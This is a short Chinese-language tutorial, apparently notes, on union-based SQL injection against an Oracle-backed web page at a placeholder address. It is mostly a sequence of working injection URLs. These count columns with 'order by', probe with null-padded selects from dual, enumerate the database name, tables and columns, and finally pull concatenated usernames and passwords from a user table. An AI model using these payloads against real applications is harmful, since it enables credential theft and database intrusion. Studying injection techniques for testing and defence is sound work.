参考链接1
参考链接2
www.vuln-web.com/photo.php?id=1' order by 1-- Working www.vuln-web.com/photo.php?id=1' order by 10-- www.vuln-web.com/photo.php?id=1' order by 7-- Working www.vuln-web.com/photo.php?id=1' order by 9-- Working
可以得知第9列是最后一列
oracle不允许没有 from 子句的 select 语句,有时候我们确实不知道当前的数据库表是哪个的话,ORACLE提供了一个虚表dual,换句话说:在不知道当前的数据库表的情况下使用select查询语句时,可以使用虚表dual。
在真实的注入环境中一般是无法知道后台的数据库表的数据类型的,这时候就可以使用null关键字挨个判断每个数据是字符还是数字类型。
www.vuln-web.com/photo.php?id=1' union select null,null,null,null,null,null,null,null,null from dual-- Working fine
www.vuln-web.com/photo.php?id=1' union select null,ora.database_name,null,null,null,null,null,null,null from dual--
(从 dual 中选择 ora_database_name)
(从 dual 中选择 sys.database_name)
(从global_name 中选择 global_name )
www.vuln-web.com/photo.php?id=1' union select null,table_name,null,null,null,null,null,null,null from all_tables--
www.vuln-web.com/photo.php?id=1' union select null,column_name,null,null,null,null,null,null,null from all_tab_columns where table_name='user_table'--
www.vuln-web.com/photo.php?id=1' union select null,username||password,null,null,null,null,null,null,null from user_table--